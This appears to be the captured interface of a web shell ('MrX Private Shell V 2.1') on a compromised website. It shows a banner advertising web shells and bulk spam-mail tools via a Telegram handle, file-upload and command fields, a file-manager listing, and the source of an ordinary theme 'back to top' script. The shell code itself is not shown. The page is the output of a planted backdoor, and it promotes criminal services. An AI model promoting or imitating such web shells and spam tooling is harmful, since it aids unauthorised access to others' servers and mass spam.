__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import ctEvents from 'ct-events'
import { areWeDealingWithSafari } from '../main'
import { loadStyle } from '../helpers'

import { isIosDevice } from './helpers/is-ios-device'

// idle | loading | loaded
let stylesState = 'idle'

let prevScrollY = null

export const mount = (backTop) => {
	if (backTop.hasListener) {
		return
	}

	backTop.hasListener = true

	// Loading styles early for iOS devices
	if (isIosDevice()) {
		loadStyle(ct_localizations.dynamic_styles.back_to_top).then(() => {})
	}

	// browser window scroll (in pixels) after which the "back to top" link is shown
	// browser window scroll (in pixels) after which the "back to top" link opacity is reduced

	const compute = () => {
		var backTop = document.querySelector('.ct-back-to-top')

		if (!backTop) return

		if (window.scrollY > 300) {
			if (stylesState === 'loaded') {
				backTop.classList.add('ct-show')
			}

			if (stylesState === 'idle') {
				stylesState = 'loading'

				const cb = () => {
					backTop.removeAttribute('hidden')

					stylesState = 'loaded'
					backTop.classList.add('ct-show')
				}

				// Styles are already loaded for iOS devices
				if (isIosDevice()) {
					cb()
				} else {
					loadStyle(ct_localizations.dynamic_styles.back_to_top).then(
						() => {
							cb()
						}
					)
				}
			}
		} else {
			backTop.classList.remove('ct-show')
		}
	}

	const renderFrame = () => {
		if (prevScrollY === null || window.scrollY !== prevScrollY) {
			prevScrollY = window.scrollY
			compute()
		}

		requestAnimationFrame(renderFrame)
	}

	requestAnimationFrame(renderFrame)

	compute()

	backTop.addEventListener('click', (event) => {
		event.preventDefault()

		var start = window.scrollY
		var currentTime = null

		const animateScroll = (timestamp) => {
			if (!currentTime) currentTime = timestamp
			var progress = timestamp - currentTime

			const easeInOutQuad = (t, b, c, d) => {
				t /= d / 2
				if (t < 1) return (c / 2) * t * t + b
				t--
				return (-c / 2) * (t * (t - 2) - 1) + b
			}

			var val = Math.max(easeInOutQuad(progress, start, -start, 700), 0)

			scrollTo(0, val)

			if (progress < 700) {
				requestAnimationFrame(animateScroll)
			}
		}

		if (areWeDealingWithSafari) {
			requestAnimationFrame(animateScroll)
		} else {
			scrollTo(0, 0)
		}
	})
}

Filemanager

Name Type Size Permission Actions
dynamic-chunks Folder 0750
entry-points Folder 0750
header Folder 0750
helpers Folder 0750
integration Folder 0750
layouts Folder 0750
lazy Folder 0750
parallax Folder 0750
search Folder 0750
woocommerce Folder 0750
animated-element.js File 761 B 0640
back-to-top-link.js File 2.24 KB 0640
fast-overlay.js File 2.16 KB 0640
flexy.js File 3.75 KB 0640
generic-accordion.js File 4.65 KB 0640
handle-3rd-party-events.js File 1.03 KB 0640
popper-elements.js File 2.21 KB 0640
search-implementation.js File 9.04 KB 0640
social-buttons.js File 2.71 KB 0640
Filemanager